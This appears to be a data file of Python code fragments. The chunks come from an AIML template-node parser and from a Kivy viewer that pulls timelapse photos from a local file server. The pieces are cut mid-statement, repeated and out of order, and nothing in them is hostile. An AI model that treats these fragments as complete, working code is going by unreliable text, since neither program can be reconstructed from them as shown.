"def children(self): return self._children def append(self, child): self._children.append(child) def dump(self, tabs, output_func, eol,",
"for child in self.children: if first is not True: xml += \" \"",
"__init__(self): self._children = [] @property def children(self): return self._children def append(self, child): self._children.append(child)",
"None def parse_template_node(self, graph, pattern): head_text = self.get_text_from_element(pattern) head_result = self.parse_text(graph, head_text) found_sub",
"default to <star/>\") star_class = graph.get_node_class_by_name('star') star_node = star_class() self.append(star_node) ####################################################################################################### def parse_attrib_value_as_word_node(self,",
"to [%s]\", self.to_string(), resolved) logging.debug(f\"{self.to_string()} resolved to {resolved}\") return resolved except Exception as",
"to_xml(self, brain): return self.children_to_xml(brain) def xml_tree(self, brain): xml = \"<template>\" xml += self.children_to_xml(brain)",
"xml += self.children_to_xml(brain) xml += \"</template>\" return ET.fromstring(xml) def children_to_xml(self, brain): xml =",
"[] @property def children(self): return self._children def append(self, child): self._children.append(child) def dump(self, tabs,",
"content (text or children), default to <star/>\") star_class = graph.get_node_class_by_name('star') star_node = star_class()",
"Exception as excep: # YLogger.exception(brain, \"Failed to resolve\", excep) logging.error(f\"Failed to resolve {excep}\")",
"node.parse_text(graph, self.get_text_from_element(child)) return node def parse_expression(self, graph, expression): raise NotImplementedError(\"Never call this directly,",
"self.get_text_from_element(child)) return node def parse_expression(self, graph, expression): raise NotImplementedError(\"Never call this directly, call",
"def output_child(self, node, tabs, eol, output_func): for child in node.children: output_func(self, \"{0}{1}{2}\".format(tabs, child.to_string(),",
"node = graph.get_base_node() node.parse_text(graph, self.get_text_from_element(child)) for sub_child in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child))",
"text.strip() return text return None def get_tail_from_element(self, element): text = element.tail if text",
"True: xml += \" \" first = False xml += child.to_xml(brain) return xml",
"head_result is False and found_sub is False: if hasattr(pattern, '_end_line_number'): # YLogger.warning(self, \"No",
"\"<template>\" xml += self.children_to_xml(brain) xml += \"</template>\" return ET.fromstring(xml) def children_to_xml(self, brain): xml",
"in child: graph.parse_tag_expression(sub_child, node) node.parse_text(graph, self.get_text_from_element(child)) return node def parse_expression(self, graph, expression): raise",
"None def get_tail_from_element(self, element): text = element.tail if text is not None: text",
"not None: text = text.strip() if text == \"\": return None return text"
] |
[
"tls._MAX: self.index = tls._MAX if self.index < tls._MIN: self.index = tls._MIN try: self.title.text",
"= Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1)",
"self.index = self.index - _SPEED elif touch.button == 'scrollup': if self.index < tls._MAX:",
"()) # ========================== # User-Interface # ========================== class DebugScreen(Screen): def __init__(self, *args, **kwargs):",
"<NAME>. Date: 06/04/19 Description: This viewer can be run on a RaspberryPI, and",
"Update thread # ========================== get_update() def update_loop(): global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update()",
"# ========================== import argparse import platform def dir_path(string): if os.path.isdir(string): return string else:",
"_CLEAR_CACHE = False _FILESERVER = \"http://localhost:8000\" # ========================== # Command-Line Arguments # ==========================",
"that range try: print(\"removing \" + str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) + \" doesn't",
"========================== # WebServer stuff # ========================== def update_imgs(min_i, max_i): global _CLEAR_CACHE if tls._MIN",
"self.index - _SPEED elif touch.button == 'scrollup': if self.index < tls._MAX: self.index =",
"self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def _on_keyboard_down(self, keyboard, keycode, text, modifiers): if keycode[1] ==",
"import Config import timelapseshare as tls import PIL import _thread import time import",
"Label from kivy.uix.image import Image from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout",
"seconds _CLEAR_CACHE = False _FILESERVER = \"http://localhost:8000\" # ========================== # Command-Line Arguments #",
"self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey = False self.leftCount = 0 self.rightCount",
"self.leftCount = 0 self.rightCount = 0 self.velo = 0 # Keyboard callbacks def",
"== 'right': self.rightKey = False return True # Mouse callbacks def on_touch_down(self, touch):",
"else: self.velo = self.velo - 1 elif self.rightKey: if self.rightCount >= 4: self.velo",
"# User-Interface # ========================== class DebugScreen(Screen): def __init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs)",
"touch.button == 'scrollup': if self.index < tls._MAX: self.index = self.index + _SPEED GridLayout.on_touch_down(self,",
"Server.py ''' from kivy.config import Config import timelapseshare as tls import PIL import",
"Calculations # ========================== tls.updateStats() def getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close()",
"keycode[1] == 'right': self.rightKey = False return True # Mouse callbacks def on_touch_down(self,",
"False _FILESERVER = \"http://localhost:8000\" # ========================== # Command-Line Arguments # ========================== import argparse",
"pulls timelapse photos from a webserver hosted by Server.py ''' from kivy.config import",
"get_update() def update_loop(): global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) # ==========================",
"_SPEED elif touch.button == 'scrollup': if self.index < tls._MAX: self.index = self.index +",
"the server hosted by the webcam\") args = parser.parse_args() if args.image_directory: print(\"[*] SETTING",
"= tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass # Timelapse Share auto-updating stuff def",
"string else: raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the",
"= open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close() return teasis print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(),",
"Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the link to the server hosted by",
"# ========================== _SPEED = 1 _UPDATE_INTERVAL = 10 # every 10 seconds _CLEAR_CACHE",
"_UPDATE_INTERVAL = 10 # every 10 seconds _CLEAR_CACHE = False _FILESERVER = \"http://localhost:8000\"",
"_on_keyboard_down(self, keyboard, keycode, text, modifiers): if keycode[1] == 'left': self.leftKey = True elif",
"super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug' class MainApp(App): def",
"========================== class DebugScreen(Screen): def __init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index = tls._MIN",
"_UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) # ========================== # User-Interface # ==========================",
"0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input",
"self.rightKey = False return True # Mouse callbacks def on_touch_down(self, touch): if touch.is_mouse_scrolling:",
"Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey = False self.leftCount = 0",
"urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i) + \".jpg\", tls.getImageByID(i)) except: print(str(i) + \" doesn't",
"True def _on_keyboard_up(self, keyboard, keycode): if keycode[1] == 'left': self.leftKey = False elif",
"Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the directory where the images are stored\")",
"max_i): global _CLEAR_CACHE if tls._MIN > min_i and _CLEAR_CACHE: for i in range(tls._MIN,",
"from kivy.config import Config import timelapseshare as tls import PIL import _thread import",
"<NAME>. & <NAME>. Date: 06/04/19 Description: This viewer can be run on a",
"scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the directory where the images are stored\") parser.add_argument(\"-pre\",",
">= 4: self.velo = 4 else: self.velo = self.velo + 1 else: self.velo",
"as tls import PIL import _thread import time import os os.environ['KIVY_GL_BACKEND'] = 'gl'",
"0 self.leftCount = 0 self.rightCount = 0 if (self.index+self.velo) > tls._MAX or (self.index+self.velo)",
"self.index < tls._MIN: self.index = tls._MIN try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index)",
"# Runtime Calculations # ========================== tls.updateStats() def getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis =",
"allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input self._keyboard =",
"ScreenManager, Screen, NoTransition from kivy.uix.label import Label from kivy.uix.image import Image from kivy.uix.boxlayout",
"open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close() return teasis print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(), tls.getMin()))",
"Clock # ========================== # Defaults # ========================== _SPEED = 1 _UPDATE_INTERVAL = 10",
"> min_i and _CLEAR_CACHE: for i in range(tls._MIN, min_i): # delete files in",
"Description: This viewer can be run on a RaspberryPI, and pulls timelapse photos",
"tls._MIN else: self.index = self.index+self.velo #print(\"moving : \" + str(self.index)) try: self.title.text =",
"exist!\") if tls._MAX < max_i: for i in range(tls._MAX, max_i): # gets files",
"in that range try: print(\"removing \" + str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) + \"",
"in range(tls._MIN, min_i): # delete files in that range try: print(\"removing \" +",
"self.add_widget(self.DBscreen) self.current = 'scrollDebug' class MainApp(App): def build(self): self.manager = ScreenManagement(transition=NoTransition()) return(self.manager) #",
"from kivy.uix.label import Label from kivy.uix.image import Image from kivy.uix.boxlayout import BoxLayout from",
"0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey",
"from kivy.clock import Clock # ========================== # Defaults # ========================== _SPEED = 1",
"= Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey = False self.leftCount =",
"Date: 06/04/19 Description: This viewer can be run on a RaspberryPI, and pulls",
"background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed,",
"'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from kivy.app import App from kivy.core.window import Window from",
"self.velo = -4 else: self.velo = self.velo - 1 elif self.rightKey: if self.rightCount",
"DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug' class MainApp(App): def build(self): self.manager = ScreenManagement(transition=NoTransition()) return(self.manager)",
"os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES A SEGFAULT ???? import urllib.request as urllib #Config.set('graphics',",
"touch) def updateScroll(self, *args): app = App.get_running_app() if self.leftKey: if self.leftCount >= 4:",
"and pulls timelapse photos from a webserver hosted by Server.py ''' from kivy.config",
"= False _FILESERVER = \"http://localhost:8000\" # ========================== # Command-Line Arguments # ========================== import",
"where the images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the prefix of the",
"tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title = Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title)",
"== 'right': self.rightKey = True return True def _on_keyboard_up(self, keyboard, keycode): if keycode[1]",
"'gl' # FIXES A SEGFAULT ???? import urllib.request as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input',",
"import time import os os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES A SEGFAULT ???? import",
"self.index = tls._MIN try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass class",
"keycode[1] == 'left': self.leftKey = True elif keycode[1] == 'right': self.rightKey = True",
"tls.getMin())) # ========================== # WebServer stuff # ========================== def update_imgs(min_i, max_i): global _CLEAR_CACHE",
"type=str, help=\"Sets the link to the server hosted by the webcam\") args =",
"doesn't exist!\") if tls._MAX < max_i: for i in range(tls._MAX, max_i): # gets",
"tls._MIN: self.index = tls._MIN try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass",
"= tls._MIN else: self.index = self.index+self.velo #print(\"moving : \" + str(self.index)) try: self.title.text",
"tls._MAX or (self.index+self.velo) < tls._MIN: if (self.index+self.velo) > tls._MAX: self.index = tls._MAX elif",
"class MainApp(App): def build(self): self.manager = ScreenManagement(transition=NoTransition()) return(self.manager) # Start the app MainApp().run()",
"= tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs):",
"\" + str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") if tls._MAX <",
"# Mouse callbacks def on_touch_down(self, touch): if touch.is_mouse_scrolling: if touch.button == 'scrolldown': if",
"\" + args.server_url) _FILESERVER = args.server_url # ========================== # Runtime Calculations # ==========================",
"4: self.velo = 4 else: self.velo = self.velo + 1 else: self.velo =",
"args.server_url) _FILESERVER = args.server_url # ========================== # Runtime Calculations # ========================== tls.updateStats() def",
"files in that range try: print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" +",
"# ========================== def update_imgs(min_i, max_i): global _CLEAR_CACHE if tls._MIN > min_i and _CLEAR_CACHE:",
"(self.index+self.velo) < tls._MIN: self.index = tls._MIN else: self.index = self.index+self.velo #print(\"moving : \"",
"Color from kivy.clock import Clock # ========================== # Defaults # ========================== _SPEED =",
"dir_path(string): if os.path.isdir(string): return string else: raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\",",
"Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from kivy.app import App from kivy.core.window import",
"int(lines[1]) update_imgs(mi, ma) return True except: print(\"server down!\") return False # ========================== #",
"size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard",
"========================== _SPEED = 1 _UPDATE_INTERVAL = 10 # every 10 seconds _CLEAR_CACHE =",
"# ========================== # User-Interface # ========================== class DebugScreen(Screen): def __init__(self, *args, **kwargs): super(DebugScreen,",
"Defaults # ========================== _SPEED = 1 _UPDATE_INTERVAL = 10 # every 10 seconds",
"_SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self, *args): app = App.get_running_app() if self.leftKey: if self.leftCount",
"10 # every 10 seconds _CLEAR_CACHE = False _FILESERVER = \"http://localhost:8000\" # ==========================",
"update_imgs(mi, ma) return True except: print(\"server down!\") return False # ========================== # Update",
"Arguments # ========================== import argparse import platform def dir_path(string): if os.path.isdir(string): return string",
"self.current = 'scrollDebug' class MainApp(App): def build(self): self.manager = ScreenManagement(transition=NoTransition()) return(self.manager) # Start",
"if touch.is_mouse_scrolling: if touch.button == 'scrolldown': if self.index > tls._MIN: self.index = self.index",
"stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the prefix of the image Eg. 'IMG'\") parser.add_argument(\"-post\",",
"datafile.close() return teasis print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(), tls.getMin())) # ========================== # WebServer",
"tls._MIN: if (self.index+self.velo) > tls._MAX: self.index = tls._MAX elif (self.index+self.velo) < tls._MIN: self.index",
"try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager): def __init__(self,",
"image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the link to the server hosted",
"tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") tls.updateStatsManually(min_i, max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER",
"range try: print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i) + \".jpg\",",
"_FILESERVER = args.server_url # ========================== # Runtime Calculations # ========================== tls.updateStats() def getImageDateTime(ID):",
"range(tls._MAX, max_i): # gets files in that range try: print(\"retrieving \" + str(i))",
"1 _UPDATE_INTERVAL = 10 # every 10 seconds _CLEAR_CACHE = False _FILESERVER =",
"the image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the link to the server",
"modifiers): if keycode[1] == 'left': self.leftKey = True elif keycode[1] == 'right': self.rightKey",
"indx = open(\"index.txt\") lines = indx.readlines() mi = int(lines[0]) ma = int(lines[1]) update_imgs(mi,",
"-4 else: self.velo = self.velo - 1 elif self.rightKey: if self.rightCount >= 4:",
"parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the link to the server hosted by the webcam\")",
"A SEGFAULT ???? import urllib.request as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy',",
"callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def _on_keyboard_down(self, keyboard, keycode, text, modifiers):",
"the directory where the images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the prefix",
"if self.index > tls._MIN: self.index = self.index - _SPEED elif touch.button == 'scrollup':",
"callbacks def on_touch_down(self, touch): if touch.is_mouse_scrolling: if touch.button == 'scrolldown': if self.index >",
"from kivy.core.window import Window from kivy.uix.screenmanager import ScreenManager, Screen, NoTransition from kivy.uix.label import",
"False elif keycode[1] == 'right': self.rightKey = False return True # Mouse callbacks",
"update_imgs(min_i, max_i): global _CLEAR_CACHE if tls._MIN > min_i and _CLEAR_CACHE: for i in",
"the link to the server hosted by the webcam\") args = parser.parse_args() if",
"print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(), tls.getMin())) # ========================== # WebServer stuff # ==========================",
"This viewer can be run on a RaspberryPI, and pulls timelapse photos from",
"in range(tls._MAX, max_i): # gets files in that range try: print(\"retrieving \" +",
"self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager): def __init__(self, *args,",
"kivy.uix.screenmanager import ScreenManager, Screen, NoTransition from kivy.uix.label import Label from kivy.uix.image import Image",
"min_i and _CLEAR_CACHE: for i in range(tls._MIN, min_i): # delete files in that",
"pass class ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug')",
"= 0 # Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def _on_keyboard_down(self,",
"def on_touch_down(self, touch): if touch.is_mouse_scrolling: if touch.button == 'scrolldown': if self.index > tls._MIN:",
"\" + str(self.index)) try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass #",
"import ScreenManager, Screen, NoTransition from kivy.uix.label import Label from kivy.uix.image import Image from",
"self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug' class MainApp(App): def build(self): self.manager =",
"WebServer stuff # ========================== def update_imgs(min_i, max_i): global _CLEAR_CACHE if tls._MIN > min_i",
"by the webcam\") args = parser.parse_args() if args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY :",
"Viewer.py Author: <NAME>. & <NAME>. Date: 06/04/19 Description: This viewer can be run",
"kivy.uix.floatlayout import FloatLayout from kivy.uix.button import Button from kivy.graphics import Rectangle, Color from",
"Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container = FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9),",
"while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) # ========================== # User-Interface # ========================== class",
"return True def _on_keyboard_up(self, keyboard, keycode): if keycode[1] == 'left': self.leftKey = False",
"open(\"index.txt\") lines = indx.readlines() mi = int(lines[0]) ma = int(lines[1]) update_imgs(mi, ma) return",
"\" doesn't exist!\") if tls._MAX < max_i: for i in range(tls._MAX, max_i): #",
"background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self)",
"**kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index = tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title",
"Share auto-updating stuff def TLS_update(self, *args): #tls.updateStats(); if self.index > tls._MAX: self.index =",
"args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING URL TO SERVER : \" + args.server_url)",
"False self.leftCount = 0 self.rightCount = 0 self.velo = 0 # Keyboard callbacks",
"= \"http://localhost:8000\" # ========================== # Command-Line Arguments # ========================== import argparse import platform",
"doesn't exist!\") tls.updateStatsManually(min_i, max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx =",
"Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def _on_keyboard_down(self, keyboard, keycode, text,",
"4 else: self.velo = self.velo + 1 else: self.velo = 0 self.leftCount =",
"import GridLayout from kivy.uix.floatlayout import FloatLayout from kivy.uix.button import Button from kivy.graphics import",
"elif keycode[1] == 'right': self.rightKey = True return True def _on_keyboard_up(self, keyboard, keycode):",
"elif keycode[1] == 'right': self.rightKey = False return True # Mouse callbacks def",
"import Window from kivy.uix.screenmanager import ScreenManager, Screen, NoTransition from kivy.uix.label import Label from",
"\" doesn't exist!\") tls.updateStatsManually(min_i, max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx",
"- 1 elif self.rightKey: if self.rightCount >= 4: self.velo = 4 else: self.velo",
"''' from kivy.config import Config import timelapseshare as tls import PIL import _thread",
"a RaspberryPI, and pulls timelapse photos from a webserver hosted by Server.py '''",
"self.index > tls._MAX: self.index = tls._MAX if self.index < tls._MIN: self.index = tls._MIN",
"False self.rightKey = False self.leftCount = 0 self.rightCount = 0 self.velo = 0",
"import _thread import time import os os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES A SEGFAULT",
"kivy.clock import Clock # ========================== # Defaults # ========================== _SPEED = 1 _UPDATE_INTERVAL",
"else: self.velo = 0 self.leftCount = 0 self.rightCount = 0 if (self.index+self.velo) >",
"super(DebugScreen, self).__init__(*args, **kwargs) self.index = tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title =",
"import FloatLayout from kivy.uix.button import Button from kivy.graphics import Rectangle, Color from kivy.clock",
"%d\\nLowest: %d\" % (tls.getMax(), tls.getMin())) # ========================== # WebServer stuff # ========================== def",
"# ========================== get_update() def update_loop(): global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ())",
"self.image.source = tls.getImageByID(self.index) except: pass # Timelapse Share auto-updating stuff def TLS_update(self, *args):",
"every 10 seconds _CLEAR_CACHE = False _FILESERVER = \"http://localhost:8000\" # ========================== # Command-Line",
"= tls._MAX elif (self.index+self.velo) < tls._MIN: self.index = tls._MIN else: self.index = self.index+self.velo",
"#Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from kivy.app import App from",
"%d\" % (tls.getMax(), tls.getMin())) # ========================== # WebServer stuff # ========================== def update_imgs(min_i,",
"down!\") return False # ========================== # Update thread # ========================== get_update() def update_loop():",
"text, modifiers): if keycode[1] == 'left': self.leftKey = True elif keycode[1] == 'right':",
"= 0 if (self.index+self.velo) > tls._MAX or (self.index+self.velo) < tls._MIN: if (self.index+self.velo) >",
"== 'scrolldown': if self.index > tls._MIN: self.index = self.index - _SPEED elif touch.button",
"urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from kivy.app import App",
"self.index > tls._MIN: self.index = self.index - _SPEED elif touch.button == 'scrollup': if",
"if self.index > tls._MAX: self.index = tls._MAX if self.index < tls._MIN: self.index =",
"on_touch_down(self, touch): if touch.is_mouse_scrolling: if touch.button == 'scrolldown': if self.index > tls._MIN: self.index",
"timelapseshare as tls import PIL import _thread import time import os os.environ['KIVY_GL_BACKEND'] =",
"% (tls.getMax(), tls.getMin())) # ========================== # WebServer stuff # ========================== def update_imgs(min_i, max_i):",
"self.index < tls._MAX: self.index = self.index + _SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self, *args):",
"self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey = False self.leftCount",
"elif self.rightKey: if self.rightCount >= 4: self.velo = 4 else: self.velo = self.velo",
"*args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index = tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1))",
"teasis print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(), tls.getMin())) # ========================== # WebServer stuff #",
"tls._MIN > min_i and _CLEAR_CACHE: for i in range(tls._MIN, min_i): # delete files",
"elif (self.index+self.velo) < tls._MIN: self.index = tls._MIN else: self.index = self.index+self.velo #print(\"moving :",
"except: print(str(i) + \" doesn't exist!\") tls.updateStatsManually(min_i, max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER +",
"# ========================== # Defaults # ========================== _SPEED = 1 _UPDATE_INTERVAL = 10 #",
"_thread.start_new_thread(update_loop, ()) # ========================== # User-Interface # ========================== class DebugScreen(Screen): def __init__(self, *args,",
"args = parser.parse_args() if args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY : \" + args.image_directory)",
"SEGFAULT ???? import urllib.request as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape',",
"= Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container = FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1,",
"int(lines[0]) ma = int(lines[1]) update_imgs(mi, ma) return True except: print(\"server down!\") return False",
"max_i: for i in range(tls._MAX, max_i): # gets files in that range try:",
"'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the postfix of the image Eg. '.jpg'\") parser.add_argument(\"-url\",",
"raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the directory where",
"kivy.core.window import Window from kivy.uix.screenmanager import ScreenManager, Screen, NoTransition from kivy.uix.label import Label",
"kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout import FloatLayout from kivy.uix.button import Button from kivy.graphics",
"\" + args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING URL TO SERVER : \"",
"str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") if tls._MAX < max_i: for",
"+ _SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self, *args): app = App.get_running_app() if self.leftKey: if",
"_keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def _on_keyboard_down(self, keyboard, keycode, text, modifiers): if keycode[1]",
"< tls._MIN: if (self.index+self.velo) > tls._MAX: self.index = tls._MAX elif (self.index+self.velo) < tls._MIN:",
"if (self.index+self.velo) > tls._MAX: self.index = tls._MAX elif (self.index+self.velo) < tls._MIN: self.index =",
"gets files in that range try: print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\"",
"from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout import FloatLayout from",
"master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title = Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container",
"= 0 self.velo = 0 # Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard =",
"tls._MAX < max_i: for i in range(tls._MAX, max_i): # gets files in that",
"can be run on a RaspberryPI, and pulls timelapse photos from a webserver",
"= False elif keycode[1] == 'right': self.rightKey = False return True # Mouse",
"TLS_update(self, *args): #tls.updateStats(); if self.index > tls._MAX: self.index = tls._MAX if self.index <",
"SETTING IMAGE DIRECTORY : \" + args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING URL",
"self.rightCount = 0 self.velo = 0 # Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard",
"self.index = self.index+self.velo #print(\"moving : \" + str(self.index)) try: self.title.text = tls.getTimeByID(self.index) self.image.source",
"kivy.config import Config import timelapseshare as tls import PIL import _thread import time",
"Config import timelapseshare as tls import PIL import _thread import time import os",
"TO SERVER : \" + args.server_url) _FILESERVER = args.server_url # ========================== # Runtime",
"(tls.getMax(), tls.getMin())) # ========================== # WebServer stuff # ========================== def update_imgs(min_i, max_i): global",
"help=\"Sets the link to the server hosted by the webcam\") args = parser.parse_args()",
"_on_keyboard_up(self, keyboard, keycode): if keycode[1] == 'left': self.leftKey = False elif keycode[1] ==",
